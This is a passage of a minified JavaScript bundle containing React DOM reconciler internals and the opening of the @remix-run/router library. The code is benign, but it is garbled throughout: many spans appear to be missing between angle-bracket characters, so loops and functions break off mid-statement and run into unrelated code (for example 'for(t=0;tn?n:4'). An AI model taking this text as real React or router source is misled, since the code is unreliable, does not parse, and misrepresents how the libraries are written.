m=l.lane,h=l.eventTime;if((r&m)===m){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(m=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,m);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,m=typeof x=="function"?x.call(h,f,m):x,m==null)break e;f=Ue({},f,m);break e;case 2:Lr=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,m=i.effects,m===null?i.effects=[l]:m.push(l))}else h={eventTime:h,lane:m,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=m;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;m=l,l=m.next,m.next=null,i.lastBaseUpdate=m,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);Ri|=o,e.lanes=o,e.memoizedState=f}}function Bv(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=kf.transition;kf.transition={};try{e(!1),t()}finally{je=n,kf.transition=r}}function ej(){return xn().memoizedState}function EC(e,t,n){var r=Xr(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},tj(e))nj(t,n);else if(n=Iw(e,t,n,r),n!==null){var i=Et();An(n,e,r,i),rj(n,t,r)}}function AC(e,t,n){var r=Xr(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(tj(e))nj(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,l=a(o,n);if(i.hasEagerState=!0,i.eagerState=l,On(l,o)){var c=t.interleaved;c===null?(i.next=i,Ah(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=Iw(e,t,i,r),n!==null&&(i=Et(),An(n,e,r,i),rj(n,t,r))}}function tj(e){var t=e.alternate;return e===Fe||t!==null&&t===Fe}function nj(e,t){Bs=wc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function rj(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,xh(e,n)}}var jc={readContext:hn,useCallback:jt,useContext:jt,useEffect:jt,useImperativeHandle:jt,useInsertionEffect:jt,useLayoutEffect:jt,useMemo:jt,useReducer:jt,useRef:jt,useState:jt,useDebugValue:jt,useDeferredValue:jt,useTransition:jt,useMutableSource:jt,useSyncExternalStore:jt,useId:jt,unstable_isNewReconciler:!1},_C={readContext:hn,useCallback:function(e,t){return Fn().memoizedState=[e,t===void 0?null:t],e},useContext:hn,useEffect:Wv,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,Kl(4194308,4,Gw.bind(null,t,e),n)},useLayoutEffect:function(e,t){return Kl(4194308,4,e,t)},useInsertionEffect:function(e,t){return Kl(4,2,e,t)},useMemo:function(e,t){var n=Fn();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Fn();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=EC.bind(null,Fe,e),[r.memoizedState,e]},useRef:function(e){var t=Fn();return e={current:e},t.memoizedState=e},useState:Fv,useDebugValue:$h,useDeferredValue:function(e){return Fn().memoizedState=e},useTransition:function(){var e=Fv(!1),t=e[0];return e=PC.bind(null,e[1]),Fn().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=Fe,i=Fn();if(Re){if(n===void 0)throw Error(J(407));n=n()}else{if(n=t(),dt===null)throw Error(J(349));Di&30||Fw(r,t,n)}i.memoizedState=n;var a={value:n,getSnapshot:t};return i.queue=a,Wv(Uw.bind(null,r,a,e),[e]),r.flags|=2048,ao(9,Ww.bind(null,r,a,n,t),void 0,null),n},useId:function(){var e=Fn(),t=dt.identifierPrefix;if(Re){var n=ar,r=ir;n=(r&~(1<<32-En(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=ro++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[Wn]=t,e[eo]=r,pj(e,t,!1,!1),t.stateNode=e;e:{switch(o=jp(n,r),n){case"dialog":Oe("cancel",e),Oe("close",e),i=r;break;case"iframe":case"object":case"embed":Oe("load",e),i=r;break;case"video":case"audio":for(i=0;i<_s.length;i++)Oe(_s[i],e);i=r;break;case"source":Oe("error",e),i=r;break;case"img":case"image":case"link":Oe("error",e),Oe("load",e),i=r;break;case"details":Oe("toggle",e),i=r;break;case"input":ov(e,r),i=xp(e,r),Oe("invalid",e);break;case"option":i=r;break;case"select":e._wrapperState={wasMultiple:!!r.multiple},i=Ue({},r,{value:void 0}),Oe("invalid",e);break;case"textarea":cv(e,r),i=yp(e,r),Oe("invalid",e);break;default:i=r}wp(n,i),l=i;for(a in l)if(l.hasOwnProperty(a)){var c=l[a];a==="style"?K2(e,c):a==="dangerouslySetInnerHTML"?(c=c?c.__html:void 0,c!=null&&V2(e,c)):a==="children"?typeof c=="string"?(n!=="textarea"||c!=="")&&Hs(e,c):typeof c=="number"&&Hs(e,""+c):a!=="suppressContentEditableWarning"&&a!=="suppressHydrationWarning"&&a!=="autoFocus"&&(Vs.hasOwnProperty(a)?c!=null&&a==="onScroll"&&Oe("scroll",e):c!=null&&uh(e,a,c,o))}switch(n){case"input":nl(e),lv(e,r,!1);break;case"textarea":nl(e),uv(e);break;case"option":r.value!=null&&e.setAttribute("value",""+ni(r.value));break;case"select":e.multiple=!!r.multiple,a=r.value,a!=null?wa(e,!!r.multiple,a,!1):r.defaultValue!=null&&wa(e,!!r.multiple,r.defaultValue,!0);break;default:typeof i.onClick=="function"&&(e.onclick=fc)}switch(n){case"button":case"input":case"select":case"textarea":r=!!r.autoFocus;break e;case"img":r=!0;break e;default:r=!1}}r&&(t.flags|=4)}t.ref!==null&&(t.flags|=512,t.flags|=2097152)}return kt(t),null;case 6:if(e&&t.stateNode!=null)hj(e,t,e.memoizedProps,r);else{if(typeof r!="string"&&t.stateNode===null)throw Error(J(166));if(n=Si(no.current),Si(qn.current),dl(t)){if(r=t.stateNode,n=t.memoizedProps,r[Wn]=t,(a=r.nodeValue!==n)&&(e=Xt,e!==null))switch(e.tag){case 3:ul(r.nodeValue,n,(e.mode&1)!==0);break;case 5:e.memoizedProps.suppressHydrationWarning!==!0&&ul(r.nodeValue,n,(e.mode&1)!==0)}a&&(t.flags|=4)}else r=(n.nodeType===9?n:n.ownerDocument).createTextNode(r),r[Wn]=t,t.stateNode=r}return kt(t),null;case 13:if(Me(Be),r=t.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(Re&&Yt!==null&&t.mode&1&&!(t.flags&128))Tw(),Oa(),t.flags|=98560,a=!1;else if(a=dl(t),r!==null&&r.dehydrated!==null){if(e===null){if(!a)throw Error(J(318));if(a=t.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(J(317));a[Wn]=t}else Oa(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;kt(t),a=!1}else Sn!==null&&(nm(Sn),Sn=null),a=!0;if(!a)return t.flags&65536?t:null}return t.flags&128?(t.lanes=n,t):(r=r!==null,r!==(e!==null&&e.memoizedState!==null)&&r&&(t.child.flags|=8192,t.mode&1&&(e===null||Be.current&1?at===0&&(at=3):Kh())),t.updateQueue!==null&&(t.flags|=4),kt(t),null);case 4:return Ma(),Yp(e,t),e===null&&Qs(t.stateNode.containerInfo),kt(t),null;case 10:return Eh(t.type._context),kt(t),null;case 17:return Bt(t.type)&&pc(),kt(t),null;case 19:if(Me(Be),a=t.memoizedState,a===null)return kt(t),null;if(r=(t.flags&128)!==0,o=a.rendering,o===null)if(r)ms(a,!1);else{if(at!==0||e!==null&&e.flags&128)for(e=t.child;e!==null;){if(o=bc(e),o!==null){for(t.flags|=128,ms(a,!1),r=o.updateQueue,r!==null&&(t.updateQueue=r,t.flags|=4),t.subtreeFlags=0,r=n,n=t.child;n!==null;)a=n,e=r,a.flags&=14680066,o=a.alternate,o===null?(a.childLanes=0,a.lanes=e,a.child=null,a.subtreeFlags=0,a.memoizedProps=null,a.memoizedState=null,a.updateQueue=null,a.dependencies=null,a.stateNode=null):(a.childLanes=o.childLanes,a.lanes=o.lanes,a.child=o.child,a.subtreeFlags=0,a.deletions=null,a.memoizedProps=o.memoizedProps,a.memoizedState=o.memoizedState,a.updateQueue=o.updateQueue,a.type=o.type,e=o.dependencies,a.dependencies=e===null?null:{lanes:e.lanes,firstContext:e.firstContext}),n=n.sibling;return Ee(Be,Be.current&1|2),t.child}e=e.sibling}a.tail!==null&&Xe()>Ia&&(t.flags|=128,r=!0,ms(a,!1),t.lanes=4194304)}else{if(!r)if(e=bc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),ms(a,!0),a.tail===null&&a.tailMode==="hidden"&&!o.alternate&&!Re)return kt(t),null}else 2*Xe()-a.renderingStartTime>Ia&&n!==1073741824&&(t.flags|=128,r=!0,ms(a,!1),t.lanes=4194304);a.isBackwards?(o.sibling=t.child,t.child=o):(n=a.last,n!==null?n.sibling=o:t.child=o,a.last=o)}return a.tail!==null?(t=a.tail,a.rendering=t,a.tail=t.sibling,a.renderingStartTime=Xe(),t.sibling=null,n=Be.current,Ee(Be,r?n&1|2:n&1),t):(kt(t),null);case 22:case 23:return Hh(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?Kt&1073741824&&(kt(t),t.subtreeFlags&6&&(t.flags|=8192)):kt(t),null;case 24:return null;case 25:return null}throw Error(J(156,t.tag))}function $C(e,t){switch(Sh(t),t.tag){case 1:return Bt(t.type)&&pc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Ma(),Me($t),Me(St),Mh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return Th(t),null;case 13:if(Me(Be),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(J(340));Oa()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Me(Be),null;case 4:return Ma(),null;case 10:return Eh(t.type._context),null;case 22:case 23:return Hh(),null;case 24:return null;default:return null}}var ml=!1,Nt=!1,BC=typeof WeakSet=="function"?WeakSet:Set,se=null;function xa(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){qe(e,t,r)}else n.current=null}function Gp(e,t,n){try{n()}catch(r){qe(e,t,r)}}var Jv=!1;function FC(e,t){if(Op=cc,e=bw(),kh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,a=r.focusNode;r=r.focusOffset;try{n.nodeType,a.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,m=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==a||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)m=f,f=h;for(;;){if(f===e)break t;if(m===n&&++u===i&&(l=o),m===a&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=m,m=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(Tp={focusedElem:e,selectionRange:n},cc=!1,se=t;se!==null;)if(t=se,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,se=e;else for(;se!==null;){t=se;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:kn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(J(163))}}catch(j){qe(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,se=e;break}se=t.return}return x=Jv,Jv=!1,x}function Fs(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&Gp(t,n,a)}i=i.next}while(i!==r)}}function Tu(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function Xp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function xj(e){var t=e.alternate;t!==null&&(e.alternate=null,xj(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[Wn],delete t[eo],delete t[Ip],delete t[kC],delete t[NC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function vj(e){return e.tag===5||e.tag===3||e.tag===4}function eg(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||vj(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Zp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=fc));else if(r!==4&&(e=e.child,e!==null))for(Zp(e,t,n),e=e.sibling;e!==null;)Zp(e,t,n),e=e.sibling}function Qp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Qp(e,t,n),e=e.sibling;e!==null;)Qp(e,t,n),e=e.sibling}var xt=null,Nn=!1;function Or(e,t,n){for(n=n.child;n!==null;)gj(e,t,n),n=n.sibling}function gj(e,t,n){if(Kn&&typeof Kn.onCommitFiberUnmount=="function")try{Kn.onCommitFiberUnmount(Su,n)}catch{}switch(n.tag){case 5:Nt||xa(n,t);case 6:var r=xt,i=Nn;xt=null,Or(e,t,n),xt=r,Nn=i,xt!==null&&(Nn?(e=xt,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):xt.removeChild(n.stateNode));break;case 18:xt!==null&&(Nn?(e=xt,n=n.stateNode,e.nodeType===8?bf(e.parentNode,n):e.nodeType===1&&bf(e,n),Gs(e)):bf(xt,n.stateNode));break;case 4:r=xt,i=Nn,xt=n.stateNode.containerInfo,Nn=!0,Or(e,t,n),xt=r,Nn=i;break;case 0:case 11:case 14:case 15:if(!Nt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&Gp(n,t,o),i=i.next}while(i!==r)}Or(e,t,n);break;case 1:if(!Nt&&(xa(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){qe(n,t,l)}Or(e,t,n);break;case 21:Or(e,t,n);break;case 22:n.mode&1?(Nt=(r=Nt)||n.memoizedState!==null,Or(e,t,n),Nt=r):Or(e,t,n);break;default:Or(e,t,n)}}function tg(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new BC),t.forEach(function(r){var i=XC.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function wn(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~a}if(r=i,r=Xe()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*UC(r/1960))-r,10e?16:e,Fr===null)var r=!1;else{if(e=Fr,Fr=null,Sc=0,xe&6)throw Error(J(331));var i=xe;for(xe|=4,se=e.current;se!==null;){var a=se,o=a.child;if(se.flags&16){var l=a.deletions;if(l!==null){for(var c=0;cXe()-Uh?Ei(e,0):Wh|=n),Ft(e,t)}function zj(e,t){t===0&&(e.mode&1?(t=al,al<<=1,!(al&130023424)&&(al=4194304)):t=1);var n=Et();e=fr(e,t),e!==null&&(Ao(e,t,n),Ft(e,n))}function GC(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),zj(e,n)}function XC(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(J(314))}r!==null&&r.delete(t),zj(e,n)}var Cj;Cj=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||$t.current)Lt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Lt=!1,DC(e,t,n);Lt=!!(e.flags&131072)}else Lt=!1,Re&&t.flags&1048576&&_w(t,xc,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;ql(e,t),e=t.pendingProps;var i=_a(t,St.current);Sa(t,n),i=Ih(null,t,r,e,i,n);var a=Dh();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Bt(r)?(a=!0,mc(t)):a=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,_h(t),i.updater=Ou,t.stateNode=i,i._reactInternals=t,Wp(t,r,e,n),t=Hp(null,t,r,!0,a,n)):(t.tag=0,Re&&a&&Nh(t),Ct(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(ql(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=QC(r),e=kn(r,e),i){case 0:t=Vp(null,t,r,e,n);break e;case 1:t=Xv(null,t,r,e,n);break e;case 11:t=Yv(null,t,r,e,n);break e;case 14:t=Gv(null,t,r,kn(r.type,e),n);break e}throw Error(J(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Vp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Xv(e,t,r,i,n);case 3:e:{if(uj(t),e===null)throw Error(J(387));r=t.pendingProps,a=t.memoizedState,i=a.element,Dw(e,t),yc(t,r,null,n);var o=t.memoizedState;if(r=o.element,a.isDehydrated)if(a={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=a,t.memoizedState=a,t.flags&256){i=La(Error(J(423)),t),t=Zv(e,t,r,n,i);break e}else if(r!==i){i=La(Error(J(424)),t),t=Zv(e,t,r,n,i);break e}else for(Yt=qr(t.stateNode.containerInfo.firstChild),Xt=t,Re=!0,Sn=null,n=Lw(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Oa(),r===i){t=pr(e,t,n);break e}Ct(e,t,r,n)}t=t.child}return t;case 5:return Rw(t),e===null&&$p(t),r=t.type,i=t.pendingProps,a=e!==null?e.memoizedProps:null,o=i.children,Mp(r,i)?o=null:a!==null&&Mp(r,a)&&(t.flags|=32),cj(e,t),Ct(e,t,o,n),t.child;case 6:return e===null&&$p(t),null;case 13:return dj(e,t,n);case 4:return Oh(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Ta(t,null,r,n):Ct(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Yv(e,t,r,i,n);case 7:return Ct(e,t,t.pendingProps,n),t.child;case 8:return Ct(e,t,t.pendingProps.children,n),t.child;case 12:return Ct(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,a=t.memoizedProps,o=i.value,Ee(vc,r._currentValue),r._currentValue=o,a!==null)if(On(a.value,o)){if(a.children===i.children&&!$t.current){t=pr(e,t,n);break e}}else for(a=t.child,a!==null&&(a.return=t);a!==null;){var l=a.dependencies;if(l!==null){o=a.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(a.tag===1){c=lr(-1,n&-n),c.tag=2;var u=a.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}a.lanes|=n,c=a.alternate,c!==null&&(c.lanes|=n),Bp(a.return,n,t),l.lanes|=n;break}c=c.next}}else if(a.tag===10)o=a.type===t.type?null:a.child;else if(a.tag===18){if(o=a.return,o===null)throw Error(J(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),Bp(o,n,t),o=a.sibling}else o=a.child;if(o!==null)o.return=a;else for(o=a;o!==null;){if(o===t){o=null;break}if(a=o.sibling,a!==null){a.return=o.return,o=a;break}o=o.return}a=o}Ct(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,Sa(t,n),i=hn(i),r=r(i),t.flags|=1,Ct(e,t,r,n),t.child;case 14:return r=t.type,i=kn(r,t.pendingProps),i=kn(r.type,i),Gv(e,t,r,i,n);case 15:return oj(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),ql(e,t),t.tag=1,Bt(r)?(e=!0,mc(t)):e=!1,Sa(t,n),ij(t,r,i),Wp(t,r,i,n),Hp(null,t,r,!0,e,n);case 19:return fj(e,t,n);case 22:return lj(e,t,n)}throw Error(J(156,t.tag))};function Pj(e,t){return tw(e,t)}function ZC(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function fn(e,t,n,r){return new ZC(e,t,n,r)}function qh(e){return e=e.prototype,!(!e||!e.isReactComponent)}function QC(e){if(typeof e=="function")return qh(e)?1:0;if(e!=null){if(e=e.$$typeof,e===fh)return 11;if(e===ph)return 14}return 2}function Zr(e,t){var n=e.alternate;return n===null?(n=fn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function Xl(e,t,n,r,i,a){var o=2;if(r=e,typeof e=="function")qh(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case oa:return Ai(n.children,i,a,t);case dh:o=8,i|=8;break;case fp:return e=fn(12,n,t,i|2),e.elementType=fp,e.lanes=a,e;case pp:return e=fn(13,n,t,i),e.elementType=pp,e.lanes=a,e;case mp:return e=fn(19,n,t,i),e.elementType=mp,e.lanes=a,e;case R2:return Lu(n,i,a,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case I2:o=10;break e;case D2:o=9;break e;case fh:o=11;break e;case ph:o=14;break e;case Mr:o=16,r=null;break e}throw Error(J(130,e==null?e:typeof e,""))}return t=fn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=a,t}function Ai(e,t,n,r){return e=fn(7,e,r,t),e.lanes=n,e}function Lu(e,t,n,r){return e=fn(22,e,r,t),e.elementType=R2,e.lanes=n,e.stateNode={isHidden:!1},e}function Pf(e,t,n){return e=fn(6,e,null,t),e.lanes=n,e}function Ef(e,t,n){return t=fn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function JC(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=cf(0),this.expirationTimes=cf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=cf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function Yh(e,t,n,r,i,a,o,l,c){return e=new JC(e,t,n,l,c),t===1?(t=1,a===!0&&(t|=8)):t=0,a=fn(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},_h(a),e}function eP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oj)}catch(e){console.error(e)}}Oj(),O2.exports=tn;var Qh=O2.exports,cg=Qh;up.createRoot=cg.createRoot,up.hydrateRoot=cg.hydrateRoot;/** * @remix-run/router v1.23.2 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function oo(){return oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function Jh(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function sP(){return Math.random().toString(36).substr(2,8)}function dg(e,t){return{usr:e.state,key:e.key,idx:t}}function rm(e,t,n,r){return n===void 0&&(n=null),oo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?Ya(t):t,{state:n,key:t&&t.key||r||sP()})}function Pc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function Ya(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function oP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,l=Wr.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(oo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=Wr.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function m(y,v){l=Wr.Push;let b=rm(g.location,y,v);u=d()+1;let w=dg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(k){if(k instanceof DOMException&&k.name==="DataCloneError")throw k;i.location.assign(j)}a&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=Wr.Replace;let b=rm(g.location,y,v);u=d();let w=dg(b,u),j=g.createHref(b);o.replaceState(w,"",j),a&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Pc(y);return b=b.replace(/ $/,"%20"),We(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(ug,f),c=y,()=>{i.removeEventListener(ug,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:m,replace:h,go(y){return o.go(y)}};return g}var fg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(fg||(fg={}));function lP(e,t,n){return n===void 0&&(n="/"),cP(e,t,n)}function cP(e,t,n,r){let i=typeof t=="string"?Ya(t):t,a=Da(i.pathname||"/",n);if(a==null)return null;let o=Tj(e);uP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?a.path||"":l,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(We(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=Qr([r,c.relativePath]),d=n.concat(c);a.children&&a.children.length>0&&(We(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),Tj(a.children,t,d,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:vP(u,a.index),routesMeta:d})};return e.forEach((a,o)=>{var l;if(a.path===""||!((l=a.path)!=null&&l.includes("?")))i(a,o);else for(let c of 